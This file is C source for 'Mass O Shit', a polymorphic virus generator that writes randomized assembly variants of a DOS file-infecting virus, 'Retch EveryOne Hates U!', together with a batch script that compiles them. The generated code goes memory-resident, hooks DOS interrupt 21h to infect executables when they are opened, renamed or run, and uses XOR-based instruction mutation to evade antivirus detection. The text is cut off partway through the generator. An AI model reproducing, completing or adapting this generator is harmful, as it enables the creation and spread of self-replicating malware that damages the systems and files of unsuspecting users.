/* Mass O Shit MOS by the Digital Anarchist/DSD featuring
   Retch EveryOne Hates U! v.4 a shity virus for a
   shity person */

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <ctype.h>

main(int argc, char *argv[])
{
    int  cminor, c1, c2, c3, c4, c5, c6, c7, c1old, c2old, c3old, c4old,
    c5old, c6old, c7old, lc1, st2, rn1, rn2, ul1, loop1,x,y,z,xor;
    FILE *virname, *batname;
    char ch;
    char *src, beta[30], s, t;
    char src1[1000];
    char s1[12], s2[8];
    randomize();
    /* junk values placed in old for 1st run of program */

    c1old=9;
    c2old=9;
    c3old=9;
    c4old=9;
    c5old=9;
    c6old=9;
    c7old=9;

    if (argc!=2)    {
        printf ("Hey dummy you forget to give me the # !\n");
        printf ("Example:  MOS #\n");
        return 1;
    }
    st2 = atoi(argv[1]);

    printf ("Mass O Shit v.7c by the Digital Anarchist[DSD]\n");
    printf ("Generating %d random copys of R.E.H.U\n\n",st2);

    if ((batname=fopen("compile.bat","wt")) == NULL ) {
        printf ("NOT! ---- Error \n");
        return 1;
    }
    fprintf(batname,"tasm /m * >error.log\n");
    for (rn2=0; rn2<st2; ) {

        itoa(rn2,src1,10);
        strcpy(s2,".asm");
        strcat(src1,s2);
        printf ("Creating R.E.H.U #%s\r",src1);
        if ((virname=fopen(src1,"wt")) == NULL ) {
            printf ("NOT! ---- Error \n");


            return 1;
        }
        /*  ====== Beginning of Virus Source Code =========================  */
        fprintf(batname,"tlink %d\n",rn2);

        fprintf(virname,";                       Retch EveryOne Hates U! v.4\n");
        fprintf(virname,";\n");
        fprintf(virname,";              Code Generated by MOS v.7c\n");
        fprintf(virname,";      About 1/2 of the code has been put in the blender\n");
        fprintf(virname,";      along with 8 minor changes and and some random changes\n");
        fprintf(virname,";      in the minor code.  Total possible variations in a \n");
        fprintf(virname,";      rough estimate is upto 5.5*10^44\n");
        fprintf(virname,";\n");
        fprintf(virname,";      This code is compiled/tested using TASM v3.0 \n");
        fprintf(virname,";      To compile tasm /m virus.asm   tlink /t virus.obj \n");
          fprintf(virname,";      or just run compile.bat \n");
        fprintf(virname,";\n");
        fprintf(virname,";\n");
        fprintf(virname,"PAGE            64, 132\n");
        fprintf(virname,"MOD_SIZE                EQU     (mod_top-start+0fh)/10h                           \n");
        fprintf(virname,"ARE_SIZE                EQU     (are_top-start+0fh)/10h                           \n");
        fprintf(virname,"STK_SIZE                EQU     (are_top-start+10h)                               \n");
        fprintf(virname,"seg_c                   SEGMENT BYTE PUBLIC 'CODE'                                \n");
        fprintf(virname,"ASSUME          cs:seg_c , ds:seg_c , ss:seg_s                                    \n");
        fprintf(virname,"boot                    PROC    FAR       \n");
        fprintf(virname,"start:                \n");
        fprintf(virname,"        call    calc  \n");
        fprintf(virname,"calc:                \n");
        fprintf(virname,"         pop    bp   \n");
        fprintf(virname,"         sub    bp, (calc-start)                                                  \n");
        fprintf(virname,"         push   bp \n");
        fprintf(virname,"         pop    si \n");
        fprintf(virname,"                   \n");
        fprintf(virname,"                   \n");
        fprintf(virname,"        push    ds \n");

        /*
        y=random(110)+1;
        fprintf(virname,";        mov     ah, 35h                  ; Blender Point #1 \n");
        fprintf(virname,";        mov     al, 21h                  ; Goal mov ah,3521h \n");
*/
        c7old=c7;
        fprintf(virname,";------------| mov ax,3521h |------ Point #1 ---------\n");
        for (;;){
            if (c1!=c1old) break;
            c1=random(6);
        }
        c1=c1+1;
        if (c1==6) c1=0;
        if (c1==0) {
            //            y=random(110)+1;
            y=random(220)+1;
            z=53;
            xor=z^y;
            fprintf(virname,"        mov     ah, 0%xh\n",xor);
            fprintf(virname,"        xor     ah, 0%xh\n",y);
            y=random(110)+1;
            z=33;
            xor=z^y;
            fprintf(virname,"        mov     al, 0%xh\n",xor);
            fprintf(virname,"        xor     al, 0%xh\n",y);
        }
        if (c1==1) {
            //            y=random(110)+1;
            y=random(220)+1;
            z=33;
            xor=z^y;
            fprintf(virname,"        mov     al, 0%xh\n",xor);
            fprintf(virname,"        xor     al, 0%xh\n",y);
            z=53;
            xor=z^y;
            fprintf(virname,"        mov     ah, 0%xh\n",xor);
            fprintf(virname,"        xor     ah, 0%xh\n",y);
        }
        if (c1==2) {
            fprintf(virname,"        mov     ax, 1414h  \n");
            fprintf(virname,"        xor     al, 35h  \n");
            fprintf(virname,"        xor     ah, 21h  \n");
        }
        if (c1==3) {
            fprintf(virname,"        mov     ax, 0013h  \n");
            fprintf(virname,"        not     ax  \n");
            fprintf(virname,"        xor     ax, 0cacdh  \n");

        }
        if (c1==4) {
            fprintf(virname,"        mov     al, 20h  \n");
            fprintf(virname,"        inc     al \n");
            fprintf(virname,"        mov     ah, 35h  \n");
        }
        if (c1==5) {
            fprintf(virname,"        mov     al, 21h  \n");
            fprintf(virname,"        mov     ah, 36h  \n");
            fprintf(virname,"        dec     ah  \n");
        }
        fprintf(virname,"        int     21h  \n");
        fprintf(virname,"check:        \n");
        fprintf(virname,"        cli   \n");
        /* Possible Blender  */
        fprintf(virname,"        mov     WORD PTR cs:vec_21h+2[si], es   \n");
        /* Possible Blender  */
        fprintf(virname,"        mov     WORD PTR cs:vec_21h  [si], bx   \n");
        /* Possible Blender  */
        fprintf(virname,"        mov     ax, ds   \n");
        fprintf(virname,"        add     WORD PTR cs:jump  +3[si], ax    \n");
        fprintf(virname,"        add     WORD PTR cs:sssave+1[si], ax    \n");
        fprintf(virname,"        dec     ax  \n");
        fprintf(virname,"checj:\n");
        fprintf(virname,"        jmp     SHORT first          \n");
        fprintf(virname,"next:                                \n");
        fprintf(virname,"        cmp     BYTE PTR es:0, 4dh   \n");
        fprintf(virname,"        jne     exit                 \n");
        fprintf(virname,"        add     ax, es:3             \n");
        fprintf(virname,"first: \n");
        /* Possible Blender  */
        fprintf(virname,"        mov     es, ax               \n");

        fprintf(virname,"        inc     ax                   \n");
        fprintf(virname,"        cmp     BYTE PTR es:0, 5ah ;Z  \n");
        fprintf(virname,"        jne     next                    \n");
        fprintf(virname,"        mov     bx, es:3                \n");
        fprintf(virname,"        sub     bx, ARE_SIZE            \n");
        fprintf(virname,"        jc      exit                    \n");
        /* Possible Blender  */
        fprintf(virname,"        mov     es:3, bx                \n");
        fprintf(virname,"        sub     WORD PTR es:12h, ARE_SIZE \n");
        fprintf(virname,"        add     ax, bx   \n");
        fprintf(virname,"        mov     es, ax   \n");
        fprintf(virname,";------------| xor di,di |------- minor #1 -----------\n");

        cminor=random(4);
        if (cminor==0) {
            fprintf(virname,"        xor     di,di  \n");
        }
        if (cminor==1) {
            fprintf(virname,"        mov     di,0  \n");
        }
        if (cminor==2) {
            fprintf(virname,"        sub     di,di  \n");
        }
        if (cminor==3) {
            fprintf(virname,"        xor     di,di  \n");
            itoa(random(40),src1,10);
            fprintf(virname,"        add     di,%sh  \n",src1);
            fprintf(virname,"        sub     di,%sh  \n",src1);
        }
        if (cminor==4) {
            fprintf(virname,"        add     di,%sh  \n",src1);
            fprintf(virname,"        xor     di,di  \n");
            itoa(random(40),src1,10);
        }
        if (cminor==5) {
            fprintf(virname,"        add     di,%sh  \n",src1);
            fprintf(virname,"        sub     di,%sh  \n",src1);
            fprintf(virname,"        xor     di,di  \n");
            itoa(random(40),src1,10);
        }


        /* Possible Blender  */
        fprintf(virname,"        mov     cx, MOD_SIZE*10h+4  \n");
        fprintf(virname,"        cld                         \n");
        fprintf(virname,"rloop:                              \n");
        fprintf(virname,"        movs   byte ptr es:[di],cs:[si]     \n");
        fprintf(virname,"        loop    rloop      \n");
        fprintf(virname,"        push    es         \n");
        fprintf(virname,"        pop     ds         \n");
        //        fprintf(virname,"        mov     BYTE PTR ds:int_21h, 09ch  \n");
        fprintf(virname,";------------| mov BYTE PTR ds:int_21h, 09ch |------------ XOR #* -----------\n");
        y=random(156)+1;
        z=156;
        xor=z^y;
        fprintf(virname,"        mov     BYTE PTR ds:int_21h, 0%xh\n",xor);
        fprintf(virname,"        xor     BYTE PTR ds:int_21h, 0%xh\n",y);
        /* Possible Blender */
        fprintf(virname,"        mov     dx, (int_21h-start) \n");
        fprintf(virname,"                                    \n");
        fprintf(virname,";------------| mov ax,2521h |------------ Point #2 -----------\n");

        c1old=c1;
        for (;;){
            if (c2!=c2old) break;
            for (rn1=0;rn1<530;rn1++) c2=random(6)   ;
        }
        c2=c2+1;
        if (c2==6) c2=0;
        if (c2==0) {
            y=random(655734)+1;
            z=9505;
            xor=z^y;
            fprintf(virname,"        mov     ax, 0%xh\n",xor);
            fprintf(virname,"        xor     ax, 0%xh\n",y);

        }
        if (c2==1) {
            y=random(65534)+1;
            z=9504;
            xor=z^y;
            fprintf(virname,"        mov     ax, 0%xh\n",xor);
            fprintf(virname,"        xor     ax,% 0xh\n",y);
            fprintf(virname,"        inc     ax \n");
        }
        if (c2==2) {
            y=random(65534)+1;
            z=9506;
            xor=z^y;
            fprintf(virname,"        mov     ax, 0%xh\n",xor);
            fprintf(virname,"        xor     ax, 0%xh\n",y);
            fprintf(virname,"        dec     ax \n");
        }
        if (c2==3) {
            fprintf(virname,"        mov     ax,0013h \n");
            fprintf(virname,"        inc     ax \n");
            fprintf(virname,"        xor     ax,2532h \n");
            fprintf(virname,"        sub     ax,0005h \n");
        }
        if (c2==4) {
            y=random(65534)+1;
            z=9510;
            xor=z^y;
            fprintf(virname,"        mov     ax, 0%xh\n",xor);
            fprintf(virname,"        xor     ax, 0%xh\n",y);
            fprintf(virname,"        sub     ax, 0005h \n");
        }
        if (c2==5) {
            y=random(65534)+1;
            z=9508;
            xor=z^y;
            fprintf(virname,"        mov     ax, 0%xh\n",xor);
            fprintf(virname,"        xor     ax, 0%xh\n",y);
            fprintf(virname,"        dec     ax \n");
            fprintf(virname,"        sub     ax,0003h \n");
        }
        fprintf(virname,"        int     21h                      \n");
        fprintf(virname,"exit:                                    \n");
        fprintf(virname,"        pop     ds                       \n");
        fprintf(virname,"        push    ds                       \n");
        fprintf(virname,"        pop     es                       \n");
        fprintf(virname,"s_sav1:                                 \n");
        fprintf(virname,"        jmp     SHORT sssave             \n");
        fprintf(virname,"                 DB      00, 01, 00, 00  \n");
        fprintf(virname,"s_sav2:                                  \n");
        fprintf(virname,"        mov     WORD PTR ds:102h, 0      \n");
        fprintf(virname,"s_savch:                                 \n");
        fprintf(virname,"        mov     WORD PTR ds:110h, 0      \n");
        fprintf(virname,"        jmp     SHORT out_c              \n");
        fprintf(virname,"sssave:                                  \n");
        fprintf(virname,";------------| mov     ax, 0010h |------------ XOR #* -----------\n");
        y=random(65534)+1;
        z=16;
        xor=z^y;
        fprintf(virname,"        mov     ax, 0%xh\n",xor);
        fprintf(virname,"        xor     ax, 0%xh\n",y);
        fprintf(virname,"        mov     ss, ax                   \n");
        fprintf(virname,"spsave:                                  \n");
        fprintf(virname,"        mov     sp, (are_top-start)      \n");
        fprintf(virname,"out_c:                                   \n");
        fprintf(virname,";------------| xor ax,ax |--------- Minor #2 ---------\n");

        cminor=random(6);
        if (cminor==0) {
            fprintf(virname,"        xor     ax,ax  \n");
        }
        if (cminor==1) {
            fprintf(virname,"        mov     ax,0  \n");
        }
        if (cminor==2) {
            fprintf(virname,"        sub     ax,ax  \n");
        }
        if (cminor==3) {
            fprintf(virname,"        xor     ax,ax  \n");
            itoa(random(40),src1,10);
            fprintf(virname,"        add     ax,%sh  \n",src1);
            fprintf(virname,"        sub     ax,%sh  \n",src1);
        }
        if (cminor==4) {
            itoa(random(40),src1,10);
            fprintf(virname,"        add     ax,%sh  \n",src1);
            fprintf(virname,"        xor     ax,ax  \n");
        }
        if (cminor==5) {
            itoa(random(40),src1,10);
            fprintf(virname,"        add     ax,%sh  \n",src1);
            fprintf(virname,"        sub     ax,%sh  \n",src1);
            fprintf(virname,"        xor     ax,ax  \n");
        }
        fprintf(virname,"jump:                                    \n");
        fprintf(virname,"                        DB      0eah     \n");
        fprintf(virname,"                        DW      (ouexit-start), 0010h \n");
        fprintf(virname,"boot                    ENDP            ;  \n");
        fprintf(virname,"c_200                   DW      200h       \n");
        fprintf(virname,"c_10                    DW      10h        \n");
        fprintf(virname,"int_24h:                                   \n");
        /* Possible Blender  */
        fprintf(virname,";------------| mov     al, 3 |------------ XOR #* -----------\n");
        y=random(255)+1;
        z=3;
        xor=z^y;
        fprintf(virname,"        mov     al, 0%xh\n",xor);
        fprintf(virname,"        xor     al, 0%xh\n",y);
        fprintf(virname,"        iret           \n");
        fprintf(virname,"int_21h:               \n");
        fprintf(virname,"        pushf          \n");
        fprintf(virname,"        push    bp     \n");
        fprintf(virname,";------------| xor bp, bp |------ Minor #3 ---------\n");

        cminor=random(6);
        if (cminor==0) {
            fprintf(virname,"        xor     bp,bp  \n");
        }
        if (cminor==1) {
            fprintf(virname,"        mov     bp,0  \n");
        }
        if (cminor==2) {
            fprintf(virname,"        sub     bp,bp  \n");
        }
        if (cminor==3) {
            fprintf(virname,"        xor     bp,bp  \n");
            itoa(random(40),src1,10);
            fprintf(virname,"        add     bp,%sh  \n",src1);
            fprintf(virname,"        sub     bp,%sh  \n",src1);
        }
        if (cminor==4) {
            itoa(random(40),src1,10);
            fprintf(virname,"        add     bp,%sh  \n",src1);
            fprintf(virname,"        xor     bp,bp  \n");
        }
        if (cminor==5) {
            itoa(random(40),src1,10);
            fprintf(virname,"        add     bp,%sh  \n",src1);
            fprintf(virname,"        sub     bp,%sh  \n",src1);
            fprintf(virname,"        xor     bp,bp  \n");
        }
        fprintf(virname,"        push    bp          \n");
        fprintf(virname,"        popf  ;   \n");
        fprintf(virname,"        sub     sp, 2                   ;   \n");
        fprintf(virname,";------------| mov BYTE PTR cs:ret_i, 2eh |------------ XOR #* -----------\n");
        y=random(255)+1;
        z=46;
        xor=z^y;
        fprintf(virname,"        mov     BYTE PTR cs:ret_i, 0%xh\n",xor);
        fprintf(virname,"        xor     BYTE PTR cs:ret_i, 0%xh\n",y);
        fprintf(virname,"        pop     bp       \n");
        fprintf(virname,"        cmp     bp, 0    \n");
        fprintf(virname,"        jne     ex_int   \n");
        fprintf(virname,"        cmp     ah, 3dh  \n");
        fprintf(virname,"        jne     next_0   \n");
        fprintf(virname,"        cmp     al, 1h   \n");
        fprintf(virname,"        jne     file_do  \n");
        fprintf(virname,"next_0:                  \n");
        fprintf(virname,"        cmp     ah, 56h  \n");
        fprintf(virname,"        je      file_do  \n");
        /* Possible Blender  */
        fprintf(virname,"        xchg    ah,al    \n");
        fprintf(virname,"        cmp     al,4bh   \n");
        fprintf(virname,"        xchg    ah,al    \n");
        fprintf(virname,"        jne     next_1   \n");
        fprintf(virname,"file_do:                 \n");
        /* Possible Blender  */
        fprintf(virname,"        mov     bp, (exec_fil-call1-3)  ;   \n");
        fprintf(virname,"next_1:                                     \n");
        fprintf(virname,";------------| cmp ax, 3521h |-------- Point #3 ---------\n");
        c2old=c2;
        for (;;){
            if (c3!=c3old) break;
            for (rn1=0;rn1<430;rn1++) c3=random(6)   ;
        }
        c3=c3+1;
        if (c3==6) c3=0;
        if (c3==0) {
            fprintf(virname,"        cmp     ax, 3521h  \n");
        }
        if (c3==1) {
            fprintf(virname,"        inc     ax  \n");
            fprintf(virname,"        xor     ax, 0013h \n");
            fprintf(virname,"        dec     ax  \n");
            fprintf(virname,"        xor     ax, 0013h \n");
            fprintf(virname,"        sub     ax, 0002h \n");
            fprintf(virname,"        cmp     ax, 3521h  \n");

            /*
   This same line could be used during a run by replacing the xor with run#
   similar to the way we conver run# into the file name in fopen
*/
        }
        if (c3==2) {
            fprintf(virname,"        xor     ax, 0013h \n");
            fprintf(virname,"        dec     ax  \n");
            fprintf(virname,"        xor     ax, 0013h  \n");
            fprintf(virname,"        dec     ax  \n");
            fprintf(virname,"        cmp     ax, 3521h \n");

        }
        if (c3==3) {
            fprintf(virname,"        xor     ax, 0013h \n");
            fprintf(virname,"        add     ax, 0001h \n");
            fprintf(virname,"        dec     ax \n");
            fprintf(virname,"        xor     ax, 0013h  \n");
            fprintf(virname,"        cmp     ax, 3521h \n");
        }
        if (c3==4) {
            fprintf(virname,"        sub     ax, 0013h \n");
            fprintf(virname,"        add     ax, 0013h \n");
            fprintf(virname,"        cmp     ax, 3521h \n");
        }
        if (c3==5) {
            fprintf(virname,"        push    cx \n");
            fprintf(virname,"        mov     cx, 0013h \n");
            fprintf(virname,"sigh:                   \n");
            fprintf(virname,"        dec     ax    \n");
            fprintf(virname,"        loop    sigh  \n");
            fprintf(virname,"        add     ax, 0013h \n");
            fprintf(virname,"        pop     cx \n");
            fprintf(virname,"        cmp     ax, 3521h \n");

        }
        fprintf(virname,"        jne     next_2 \n");
        fprintf(virname,"        push    si  \n");
        fprintf(virname,";------------| bp, (ch_inst-call1-3) |------ Point #4 ---------\n");
        c3old=c3;
        for (;;){
            if (c4!=c4old) break;
            for (rn1=0;rn1<333;rn1++) c4=random(6)   ;
        }
        c4=c4+1;
        if (c4==6) c4=0;
        if (c4==0) {
            fprintf(virname,"        mov     si, (ch_inst-call1-3)\n");
        }
        if (c4==1) {
            fprintf(virname,"        mov     si, 0\n");
            fprintf(virname,"        mov     si, (ch_inst-call1-3)\n");
            fprintf(virname,"        dec     si  \n");
            fprintf(virname,"        inc     si  \n");
        }
        if (c4==2) {
            fprintf(virname,"        mov     si, (ch_inst-call1-3)\n");
            fprintf(virname,"        inc     si \n");
            fprintf(virname,"        dec     si \n");
        }
        if (c4==3) {
            fprintf(virname,"        xor     si, si \n");
            fprintf(virname,"        mov     si, (ch_inst-call1-3)\n");
        }
        if (c4==4) {
            fprintf(virname,"        mov     si, (ch_inst-call1-3)\n");
            fprintf(virname,"        sub     si, 0013h \n");
            fprintf(virname,"        add     si, 0012h \n");
            fprintf(virname,"        xor     si, 0001h \n");
        }
        if (c4==5) {
            fprintf(virname,"        push    cx \n");
            fprintf(virname,"        xor     cx, cx \n");
            fprintf(virname,"        mov     si, cx\n");
            fprintf(virname,"        mov     cx, (ch_inst-call1-3) \n");
            fprintf(virname,"loop0:                 \n");
            fprintf(virname,"        inc     si \n");
            fprintf(virname,"        loop    loop0 \n");
            fprintf(virname,"        pop     cx \n");
        }
        fprintf(virname,"        push    si                    \n");
        fprintf(virname,"        pop     bp \n");
        fprintf(virname,"        pop     si \n");
        fprintf(virname,"next_2:            \n");
        fprintf(virname,"        or      bp, bp \n");
        fprintf(virname,"        jz      ex_int \n");
        /* Possible Blender  */
        fprintf(virname,"        mov     WORD PTR cs:call1+1, bp \n");
        fprintf(virname,"        cmp     bp, (exec_fil-start)    \n");
        fprintf(virname,"        ja      ret_2                   \n");
        fprintf(virname,"        call    caller                  \n");
        fprintf(virname,"ex_int:                                 \n");
        fprintf(virname,"        pop     bp                    \n");
        fprintf(virname,"        popf                          \n");
        fprintf(virname,"ret_i:                                      \n");
        fprintf(virname,"        jmp     DWORD PTR cs:vec_21h        \n");
        fprintf(virname,"ret_2:                                      \n");
        fprintf(virname,"        call    int_21h                     \n");
        fprintf(virname,"        push    ax                          \n");
        fprintf(virname,"        sahf                                \n");
        /* Possible Blender  */
        fprintf(virname,"        mov     sp, bp                      \n");
        /* Possible Blender  */
        fprintf(virname,"        mov     ss:[bp+6], ax               \n");
        fprintf(virname,"        pop     ax                          \n");
        fprintf(virname,"        call    caller                      \n");
        fprintf(virname,"        pop     bp                          \n");
        fprintf(virname,"        popf                                \n");
        fprintf(virname,"        iret                                \n");
        fprintf(virname,"caller                  PROC    NEAR        \n");
        /* Possible Blender  */
        fprintf(virname,"        mov     cs:sav_ss, ss               \n");
        /* Possible Blender  */
        fprintf(virname,"        mov     cs:sav_sp, sp               \n");
        fprintf(virname,"        push    cs                          \n");
        fprintf(virname,"        pop     ss                          \n");
        /* Possible Blender  */
        fprintf(virname,"        mov     sp, OFFSET are_top          \n");
        fprintf(virname,"        push    es                          \n");
        fprintf(virname,"        push    ds                          \n");
        fprintf(virname,"        push    di                          \n");
        fprintf(virname,"        push    si                          \n");
        fprintf(virname,"        push    ax                          \n");
        fprintf(virname,"        push    bx                          \n");
        fprintf(virname,"        push    cx                          \n");
        fprintf(virname,"        push    dx                          \n");
        /* Possible Blender  */
        fprintf(virname,"        mov     bp, sp                      \n");
        fprintf(virname,";------------| mov BYTE PTR cs:int_21h, 0cfh |------------ XOR #* -----------\n");
        y=random(255)+1;
        z=207;
        xor=z^y;
        fprintf(virname,"        mov     BYTE PTR cs:int_21h, 0%xh\n",xor);
        fprintf(virname,"        xor     BYTE PTR cs:int_21h, 0%xh\n",y);
        fprintf(virname,"call1:                                   \n");
        fprintf(virname,"        call    exec_fil                 \n");
        fprintf(virname,";------------| mov BYTE PTR cs:int_21h, 09ch |------------ XOR #* -----------\n");
        y=random(255)+1;
        z=156;
        xor=z^y;
        fprintf(virname,"        mov     BYTE PTR cs:int_21h, 0%xh\n",xor);
        fprintf(virname,"        xor     BYTE PTR cs:int_21h, 0%xh\n",y);
        fprintf(virname,"        pop     dx                       \n");
        fprintf(virname,"        pop     cx                       \n");
        fprintf(virname,"        pop     bx                       \n");
        fprintf(virname,"        pop     ax                       \n");
        fprintf(virname,"        pop     si                       \n");
        fprintf(virname,"        pop     di                       \n");
        fprintf(virname,"        pop     ds                       \n");
        fprintf(virname,"        pop     es                       \n");
        /* Possible TBAV Problem  */
        fprintf(virname,"        mov     ss, cs:sav_ss            \n");
        fprintf(virname,"        mov     sp, cs:sav_sp            \n");
        fprintf(virname,"        retn                             \n");
        fprintf(virname,"caller                  ENDP             \n");
        fprintf(virname,"ch_inst                 PROC    NEAR     \n");
        fprintf(virname,"        les     bx, DWORD PTR cs:sav_sp  \n");
        fprintf(virname,"        les     bx, DWORD PTR es:[bx+6]  \n");
        fprintf(virname,"ch_nex:                                  \n");
        fprintf(virname,"        cmp     es:[bx], 2efah           \n");
        fprintf(virname,"        jne     ret_inst                 \n");
        fprintf(virname,"        add     BYTE PTR es:[bx+checj-check], (exit-first)  \n");
        fprintf(virname,";------------| mov BYTE PTR cs:ret_i, 0cfh |------------ XOR #* -----------\n");
        y=random(255)+1;
        z=207;
        xor=z^y;
        fprintf(virname,"        mov     BYTE PTR cs:ret_i, 0%xh\n",xor);
        fprintf(virname,"        xor     BYTE PTR cs:ret_i, 0%xh\n",y);
        fprintf(virname,"ret_inst:                                                   \n");
        fprintf(virname,"        retn                                                \n");
        fprintf(virname,"ch_inst                 ENDP                                                      \n");
        fprintf(virname,"exec_fil                PROC    NEAR   \n");
        fprintf(virname,"        call    file_o                 \n");
        fprintf(virname,"        push    cs                     \n");
        fprintf(virname,"        pop     ds                     \n");
        /* Possible Blender  */
        fprintf(virname,"        mov     dx, OFFSET header      \n");
        fprintf(virname,";------------| mov cx, 20h |--------- XOR #1 ---------\n");
        y=random(32766)+1;
        z=32;
        xor=z^y;
        fprintf(virname,"        mov     cx, 0%xh\n",xor);
        fprintf(virname,"        xor     cx, 0%xh\n",y);
        fprintf(virname,"        call    read                   \n");
        /* Possible Blender  */
        fprintf(virname,"        mov     ax, exesp              \n");
        /* Possible Blender  */
        fprintf(virname,"        mov     WORD PTR spsave+1 , ax \n");
        /* Possible Blender  */
        fprintf(virname,"        mov     WORD PTR s_savch+4, ax \n");
        fprintf(virname,"        sub     ax, exeip              \n");
        fprintf(virname,"        cmp     ax, STK_SIZE           \n");
        fprintf(virname,"        je      jerr                   \n");
        fprintf(virname,";------------| mov al, 02h |-------- XOR #2 --------\n");
        y=random(153)+1;
        z=2;
        xor=z^y;
        fprintf(virname,"        mov     al, 0%xh\n",xor);
        fprintf(virname,"        xor     al, 0%xh\n",y);
        fprintf(virname,"        call    int_str                \n");
        fprintf(virname,"        cmp     dx, 3h                 \n");
        fprintf(virname,"        jge     jerr                   \n");
        fprintf(virname,"        push    ax                     \n");
        /* Possible Blender  */
        fprintf(virname,"        mov     ax, header             \n");
        fprintf(virname,"        jmp     afirst                 \n");
        fprintf(virname,"bfirst:                                 ; Blender Point #5 \n");
        fprintf(virname,"        cmp     al,4dh                  ;                                         \n");
        fprintf(virname,"        je      also                    ; Goal cmp ax,5a4dh                       \n");
        fprintf(virname,"afirst:                                 ;                                         \n");
        fprintf(virname,"        cmp     ah, 5ah                ;                                         \n");
        fprintf(virname,"        je      bfirst                                                            \n");
        fprintf(virname,"        cmp     ax, 4d5ah               ;                                         \n");
        fprintf(virname,"        je      also                    ;                                         \n");
        /* Possible Blender  */
        fprintf(virname,"        mov     WORD PTR s_sav1+4, ax   ;                                         \n");
        fprintf(virname,";------------| mov WORD PTR s_sav1, 06c7h|-------- XOR #3 --------\n");
        y=random(3266)+1;
        z=1735;
        xor=z^y;
        fprintf(virname,"        mov     WORD PTR s_sav1, 0%xh\n",xor);
        fprintf(virname,"        xor     WORD PTR s_sav1, 0%xh\n",y);
        /* Possible Blender  */
        fprintf(virname,"        xor     ax, ax                  ;                                         \n");
        /* Possible Blender  */
        fprintf(virname,"        mov     WORD PTR jump+3, ax     ;                                         \n");
        /* ===================Blender Point #5 ================= */
        fprintf(virname,";------------| mov word ptr jump+1, 100h|-------- Point #5 ------\n");
        c4old=c4;
        for (;;){
            if (c5!=c5old) break;
            for (rn1=0;rn1<603;rn1++) c5=random(6)   ;
        }
        c5=c5+1;
        if (c5==6) c5=0;
        if (c5==0) {
            fprintf(virname,"        push cx                         ; Blender Point #5                                         \n");
            fprintf(virname,"        mov     cx,ax                   ; goal mov word ptr jump+1, 100h \n");
            fprintf(virname,"        add     cx,0100h                ;                                          \n");
            fprintf(virname,"looper:                                 ;                                          \n");
            fprintf(virname,"        inc     ax                      ; BLENDER PIONT                           \n");
            fprintf(virname,"        mov     word ptr jump+1, ax     ; GOAL mov word ptr jump+1, 100h          \n");
            fprintf(virname,"        loop    looper                  ;        or make ax 100h                  \n");
            fprintf(virname,"        pop     cx                      ;                                         \n");
        }
        if (c5==1) {
            fprintf(virname,"        push cx                         ; Blender Point #5                                         \n");
            fprintf(virname,"        xor     cx,cx                   ; goal mov word ptr jump+1, 100h \n");
            fprintf(virname,"        add     cx,0100h                ;                                          \n");
            fprintf(virname,"looper:                                 ;                                          \n");
            fprintf(virname,"        inc     ax                      ; BLENDER PIONT                           \n");
            fprintf(virname,"        mov     word ptr jump+1, ax     ; GOAL mov word ptr jump+1, 100h          \n");
            fprintf(virname,"        loop    looper                  ;        or make ax 100h                  \n");
            fprintf(virname,"        pop     cx                      ;                                         \n");
        }
        if (c5==2) {
            fprintf(virname,"        push cx                      \n");
            fprintf(virname,"        mov     cx,0000h               \n");
            fprintf(virname,"        add     cx,0100h             \n");
            fprintf(virname,"looper:                              \n");
            fprintf(virname,"        inc     ax                  \n");
            fprintf(virname,"        mov     word ptr jump+1, ax \n");
            fprintf(virname,"        loop    looper              \n");
            fprintf(virname,"        pop     cx                  \n");
        }
        if (c5==3) {
            fprintf(virname,"        push cx                      \n");
            fprintf(virname,"        mov     cx,0000h             \n");
            fprintf(virname,"        add     cx,0100h             \n");
            fprintf(virname,"looper:                              \n");
            fprintf(virname,"        inc     ax                  \n");
            fprintf(virname,"        loop    looper              \n");
            fprintf(virname,"        mov     word ptr jump+1, ax \n");
            fprintf(virname,"        pop     cx                  \n");
        }
        if (c5==4) {
            fprintf(virname,"        push cx                      \n");
            fprintf(virname,"        mov     cx,0100h             \n");
            fprintf(virname,"looper:                              \n");
            fprintf(virname,"        inc     ax                  \n");
            fprintf(virname,"        loop    looper              \n");
            fprintf(virname,"        mov     word ptr jump+1, ax \n");
            fprintf(virname,"        pop     cx                  \n");
        }
        if (c5==5) {
            fprintf(virname,"        push cx                      \n");
            fprintf(virname,"        mov     cx,0100h             \n");
            fprintf(virname,"looper:                              \n");
            fprintf(virname,"        inc     ax                  \n");
            fprintf(virname,"        mov     word ptr jump+1, ax \n");
            fprintf(virname,"        loop    looper              \n");
            fprintf(virname,"        pop     cx                  \n");
        }
        /*  =============== End Of Blender Point #5  ======================== */

        /* Delete The Next Line and Test  */
        fprintf(virname,"        mov     word ptr jump+1, ax                 \n");
        fprintf(virname,"        mov     ax, partpag                         \n");
        /* Possible Blender  */
        fprintf(virname,"        mov     WORD PTR s_sav2+4, ax               \n");
        fprintf(virname,";------------| mov BYTE PTR header, 0e9h |------------ XOR #* -----------\n");
        y=random(255)+1;
        z=233;
        xor=z^y;
        fprintf(virname,"        mov     BYTE PTR header, 0%xh\n",xor);
        fprintf(virname,"        xor     BYTE PTR header, 0%xh\n",y);
        fprintf(virname,"        pop     ax                                  \n");
        fprintf(virname,"        sub     ax, 3h                              \n");
        /* Possible Blender  */
        fprintf(virname,"        mov     WORD PTR header+1, ax               \n");
        fprintf(virname,"        jmp     SHORT write_f                       \n");
        fprintf(virname,"jerr:                                               \n");
        fprintf(virname,"        retn                                        \n");
        fprintf(virname,"also:                                               \n");
        /* Possible Blender  */
        fprintf(virname,";------------| mov WORD PTR s_sav1, 12ebh |------------ XOR #* -----------\n");
        y=random(155)+1;
        z=4843;
        xor=z^y;
        fprintf(virname,"        mov     WORD PTR s_sav1, 0%xh\n",xor);
        fprintf(virname,"        xor     WORD PTR s_sav1, 0%xh\n",y);
        /* Possible Blender  */
        fprintf(virname,"        mov     ax, exeip                           \n");
        fprintf(virname,";------------| mov word ptr jump+1, ax|-------- Point #6 ------\n");
        /*  =============== Beginning Of Blender Point #6 ==================== */
        c5old=c5;
        for (;;){
            if (c6!=c6old) break;
            for (rn1=0;rn1<203;rn1++) c6=random(6);
        }
        c6=c6+1;
        if (c6==6) c6=0;
        if (c6==0) {
            fprintf(virname,"        push cx                                             \n");
            fprintf(virname,"        mov     cx,ax                       \n");
            fprintf(virname,"        xor     ax,ax                    \n");
            fprintf(virname,"pooper:                                     \n");
            fprintf(virname,"        inc     ax                         \n");
            fprintf(virname,"        mov     word ptr jump+1, ax        \n");
            fprintf(virname,"        loop    pooper                     \n");
